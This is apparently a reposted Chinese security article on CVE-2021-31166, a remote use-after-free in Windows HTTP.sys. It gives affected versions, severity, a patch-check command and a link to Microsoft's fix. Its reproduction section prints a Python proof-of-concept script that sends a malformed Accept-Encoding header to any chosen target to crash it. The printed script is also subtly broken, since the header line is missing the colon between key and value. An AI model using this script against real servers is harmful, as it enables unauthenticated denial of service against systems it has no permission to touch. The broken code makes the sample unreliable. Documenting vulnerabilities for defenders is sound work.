漏洞描述|CVE-2021-31166 POC

  • A+
所属分类:安全文章

漏洞名称 : HTTP协议栈远程代码执行漏洞CVE-2021-31166

组件名称 : HTTP.sys

影响范围 :

Windows 10 Version 2004, 20H2

Windows Server version 2004, 20H2

漏洞类型 : 远程代码执行

利用条件

1、用户认证:否

2、前置条件:受害主机启用了HTTP服务

3、触发方式:远程

综合评价

<综合评定利用难度>:困难,在无需授权的情况下可以导致远程服务器拒绝服务,但是要实现代码执行比较困难。
<综合评定威胁等级>:高危,在无需授权的情况下即可实现远程拒绝服务甚至可能可以导致远程代码执行。

组件介绍

超文本传输协议(HTTP)是一个用于传输超媒体文档(例如HTML)的应用层协议。它是为Web浏览器与 Web 服务器之间的通信而设计的,Windows上的HTTP协议栈用于windows上的Web服务器,例如IIS等,若该协议栈相关的组件存在漏洞,则可能导致远程恶意代码执行。

漏洞描述

该漏洞是由于HTTP协议栈相关组件在处理存在多个Accept-Encoding字段的HTTP请求时存在Use-After-Free的漏洞,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行远程代码执行攻击,最终获取服务器最高权限。

HTTP.sys是Windows内核中最为重要的内核模块,是Windows上HTTP协议栈的底层网络驱动,该漏洞影响多个Windows版本

目前受影响的HTTP.sys版本:

Windows 10 Version 2004, 20H2
Windows Server version 2004, 20H2

漏洞复现

搭建Http组件10.0.19041.928版本环境,复现该漏洞,效果如下:

漏洞描述|CVE-2021-31166  POC

在这里插入图片描述

https://github.com/0vercl0k/CVE-2021-31166

import requests
import argparse

def main():
    parser = argparse.ArgumentParser('Poc for CVE-2021-31166: remote UAF in HTTP.sys')
    parser.add_argument('--target', required = True)
    args = parser.parse_args()
    r = requests.get(f'http://{args.target}/', headers = {
        'Accept-Encoding''doar-e, ftw, imo, ,',
    })
    print(r)

main()

打开cmd.exe输入

systeminfo | findstr "KB5003173 KB4562830 KB5000736"
若无结果返回则说明没有安装更新补丁。

修复建议

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31166


原文始发于微信公众号(无级安全):漏洞描述|CVE-2021-31166 POC

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: